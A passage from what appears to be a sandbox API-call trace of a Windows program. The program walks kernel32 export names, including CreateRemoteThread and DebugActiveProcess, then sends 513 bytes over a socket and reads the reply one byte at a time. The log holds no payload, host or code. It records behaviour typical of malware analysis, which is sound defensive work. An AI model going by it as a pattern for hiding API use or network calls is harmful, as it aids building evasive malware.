returned="CreateFileTransactedA" [0055.423] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.423] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.423] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.423] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.423] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.423] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.423] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.423] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.423] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.423] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.423] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.423] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.423] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.423] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.424] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.424] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.424] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.424] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.424] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.424] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.424] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.424] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.424] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.424] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.424] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.424] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.424] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.424] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.424] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.424] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.424] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.424] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.425] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.425] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.425] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.425] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.425] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.425] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.425] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.425] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.425] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.425] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.425] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.425] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.425] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.425] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.425] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.425] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.425] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.425] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.426] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.426] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.426] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.426] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.426] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.426] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.426] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.426] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.426] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.426] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.426] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.426] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.426] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.426] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.426] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.426] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.426] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.426] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.427] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.427] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.427] lstrlenA (lpString="DELETEATOM") returned 10 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.427] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.427] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.427] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.427] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.427] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.427] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.427] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.427] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.427] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.427] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.427] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.427] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.427] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.427] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.427] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.428] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.428] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.428] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.428] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.428] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.428] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.428] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.428] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.428] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.428] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.428] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.428] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.428] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.428] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.428] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.428] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.428] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.429] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.429] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.429] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.429] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.429] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.429] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.429] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.429] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.429] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.429] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.429] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.429] send (s=0x204, buf=0x2f60000*, len=513, flags=0) returned 513 [0055.430] shutdown (s=0x204, how=1) returned 0 [0055.430] recv (in: s=0x204, buf=0x2c4f830, len=1, flags=0 | out: buf=0x2c4f830*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f831, len=1, flags=0 | out: buf=0x2c4f831*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f832, len=1, flags=0 | out: buf=0x2c4f832*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f833, len=1, flags=0 | out: buf=0x2c4f833*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f834, len=1, flags=0 | out: buf=0x2c4f834*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f835, len=1, flags=0 | out: buf=0x2c4f835*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f836, len=1, flags=0 | out: buf=0x2c4f836*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f837, len=1, flags=0 | out: buf=0x2c4f837*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f838, len=1, flags=0 | out: buf=0x2c4f838*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f839, len=1, flags=0 | out: buf=0x2c4f839*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f83a, len=1, flags=0 | out: buf=0x2c4f83a*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f83b, len=1, flags=0 | out: buf=0x2c4f83b*) returned 1 [0055.475] recv (in: s=0x204, buf=0x2c4f83c, len=1, flags=0 | out: buf=0x2c4f83c*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f83d, len=1, flags=0 | out: buf=0x2c4f83d*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f83e, len=1, flags=0 | out: buf=0x2c4f83e*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f83f, len=1, flags=0 | out: buf=0x2c4f83f*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f840, len=1, flags=0 | out: buf=0x2c4f840*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f841, len=1, flags=0 | out: buf=0x2c4f841*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f842, len=1, flags=0 | out: buf=0x2c4f842*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f843, len=1, flags=0 | out: buf=0x2c4f843*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f844, len=1, flags=0 | out: buf=0x2c4f844*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f845, len=1, flags=0 | out: buf=0x2c4f845*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f846, len=1, flags=0 | out: buf=0x2c4f846*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f847, len=1, flags=0 | out: buf=0x2c4f847*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f848, len=1, flags=0 | out: buf=0x2c4f848*) returned 1 [0055.476] recv (in: s=0x204, buf=0x2c4f849, len=1, flags=0 | out: buf=0x2c4f849*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f84a, len=1, flags=0 | out: buf=0x2c4f84a*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f84b, len=1, flags=0 | out: buf=0x2c4f84b*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f84c, len=1, flags=0 | out: buf=0x2c4f84c*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f84d, len=1, flags=0 | out: buf=0x2c4f84d*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f84e, len=1, flags=0 | out: buf=0x2c4f84e*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f84f, len=1, flags=0 | out: buf=0x2c4f84f*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f850, len=1, flags=0 | out: buf=0x2c4f850*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f851, len=1, flags=0 | out: buf=0x2c4f851*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f852, len=1, flags=0 | out: buf=0x2c4f852*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f853, len=1, flags=0 | out: buf=0x2c4f853*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f854, len=1, flags=0 | out: buf=0x2c4f854*) returned 1 [0055.477] recv (in: s=0x204, buf=0x2c4f855, len=1, flags=0 | out: buf=0x2c4f855*) returned 1 [0055.478] recv (in: s=0x204, buf=0x2c4f856, len=1, flags=0 | out: 